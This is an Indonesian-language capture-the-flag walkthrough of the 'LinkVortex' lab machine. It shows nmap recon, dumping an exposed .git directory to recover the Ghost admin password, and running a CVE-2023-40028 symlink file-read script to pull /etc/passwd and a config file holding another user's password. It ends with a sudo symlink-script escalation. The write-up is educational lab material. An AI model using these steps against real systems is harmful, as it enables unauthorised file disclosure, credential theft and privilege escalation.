LinkVortex adalah mesin tingkat kesulitan mudah yang menjalankan Ghost CMS dengan kerentanan arbitrary file read (CVE-2023-40028), di mana pengguna terautentikasi dapat mengunggah symlink untuk membaca file sensitif di sistem. Selain itu, mesin ini memiliki kerentanan tambahan pada script clean_symlink.sh, yang memungkinkan pengguna dengan hak akses terbatas untuk mengeksploitasi hak istimewa sudo. Dengan memanfaatkan validasi symlink yang lemah dan menggunakan variabel lingkungan CHECK_CONTENT, pengguna dapat membaca file sensitif. Mesin ini memberikan pengalaman pembelajaran yang berfokus pada eksploitasi file inclusion dan eskalasi hak akses melalui pemanfaatan konfigurasi sudo yang tidak aman.
┌──(glmx㉿kali)-[~]
└─$ nmap -sC -sV 10.10.11.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-26 09:52 WIB
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up (0.057s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-title: BitByBit Hardware
|_http-server-header: Apache
|_http-generator: Ghost 5.58
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
└─$ nmap -sC -sV -sU 10.10.11.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-26 09:48 WIB
Nmap scan report for 10.10.11.47
Host is up (0.16s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
68/udp open|filtered dhcpc
http://linkvortex.htb/robots.txt
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
Dari terlihat ada beberapa direktori yang tersedia tetapi dissallow pada robots.txt
Hasil ini tidak menemukan sesuatu yang menarik dan petunjuk
Mencoba akses direktori /ghost seperti informasi yang didapatkan dari nmap dan robots.txt -> hxxp://linkvortex.htb/ghost maka diarahkan ke tampilan login
Diketahui juga disini bahwa Ghost adalah CMS dengan versi 5.58 yang digunakan/sedang berjalan.
Selanjutnya mencoba mencari subdomain karena untuk direktori, tidak ditemukan petunjuk. Hasilnya terdapat subdomain DEV
Disini ditemukan git. Ini baru menarik hehe
└─$ dirsearch -u http://dev.linkvortex.htb/ -t 50 -i 200
[10:32:29] 200 - 201B - /.git/config
[10:32:29] 200 - 41B - /.git/HEAD
[10:32:29] 200 - 620B - /.git/hooks/
[10:32:29] 200 - 73B - /.git/description
[10:32:29] 200 - 557B - /.git/
[10:32:29] 200 - 402B - /.git/info/
[10:32:29] 200 - 240B - /.git/info/exclude
[10:32:29] 200 - 401B - /.git/logs/
[10:32:29] 200 - 175B - /.git/logs/HEAD
[10:32:29] 200 - 147B - /.git/packed-refs
[10:32:29] 200 - 418B - /.git/objects/
[10:32:29] 200 - 393B - /.git/refs/
[10:32:30] 200 - 691KB - /.git/index
Kemudian menggunakan GitHack dan memeriksa output untuk mencari password. Password tersebut akan digunakan untuk login ke dashboard Ghost.
python3 GitHack.py "http://dev.linkvortex.htb/.git"
[+] Download and parse index file ...
[+] .editorconfig
[+] .gitattributes
[+] .github/AUTO_ASSIGN
[+] .github/CONTRIBUTING.md
[+] .github/FUNDING.yml
[+] .github/ISSUE_TEMPLATE/bug-report.yml
[+] .github/ISSUE_TEMPLATE/config.yml
[+] .github/PULL_REQUEST_TEMPLATE.md
[+] .github/SUPPORT.md
[+] .github/actions/restore-cache/action.yml
[+] .github/codecov.yml
[+] .github/hooks/pre-commit
[+] .github/scripts/dev.js
[+] .github/workflows/auto-assign.yml
[+] .github/workflows/browser-tests.yml
[+] .github/workflows/ci.yml
[+] .github/workflows/create-release-branch.yml
[+] .github/workflows/custom-build.yml
[+] .github/workflows/i18n.yml
[+] .github/workflows/label-actions.yml
[+] .github/workflows/migration-review.yml
[+] .github/workflows/stale.yml
[+] .gitignore
[+] .gitmodules
[+] .vscode/launch.json
[+] .vscode/settings.json
[+] Dockerfile.ghost
[+] LICENSE
[+] PRIVACY.md
[+] README.md
[+] SECURITY.md
cat authentication.test.js|grep "password"
const password = 'OctopiFociPilfer45';
password,
await agent.loginAs(email, password);
password: 'thisissupersafe',
password: 'thisissupersafe',
const password = 'thisissupersafe';
password,
await cleanAgent.loginAs(email, password);
password: 'lel123456',
password: '12345678910',
password: '12345678910',
it('reset password', async function () {
password: ownerUser.get('password')
await agent.put('authentication/password_reset')
password_reset: [{
it('reset password: invalid token', async function () {
.put('authentication/password_reset')
password_reset: [{
it('reset password: expired token', async function () {
password: ownerUser.get('password')
.put('authentication/password_reset')
password_reset: [{
it('reset password: unmatched token', async function () {
password: 'invalid_password'
.put('authentication/password_reset')
password_reset: [{
it('reset password: generate reset token', async function () {
.post('authentication/password_reset')
password_reset: [{
describe('Reset all passwords', function () {
it('reset all passwords returns 204', async function () {
await agent.post('authentication/global_password_reset')
visit http://linkvortex.htb/ghost dan login menggunakan kredensial admin@linkvortex.htb:OctopiFociPilfer45
Berhasil masuk ke Dashboard Admin
Setelah mencari informasi mengenai kerentanan Ghost, ditemukan sumber CVE-2023-40028. CVE-2023-40028 adalah kerentanan yang mempengaruhi Ghost, sebuah sistem manajemen konten (CMS) sumber terbuka. Pengguna yang telah terautentikasi dapat mengunggah file yang berupa symlink. Kerentanan ini dapat dieksploitasi untuk membaca file secara sembarangan pada sistem operasi host.
┌──(glmx㉿kali)-[~/htb/linkvortex]
└─$ ./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
Kemudian akan diambil jalur file konfigurasi sebelumnya saat menggunakan GitHack pada file Dockerfile.ghost
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
Setelah dijalankan, didapatkan informasi login bob serta password yang digunakan.
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
User Flag Berhasil didapatkan...
Memeriksa hak akses yang diberikan untuk user bob.
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
Root Flag Berhasil didapatkan..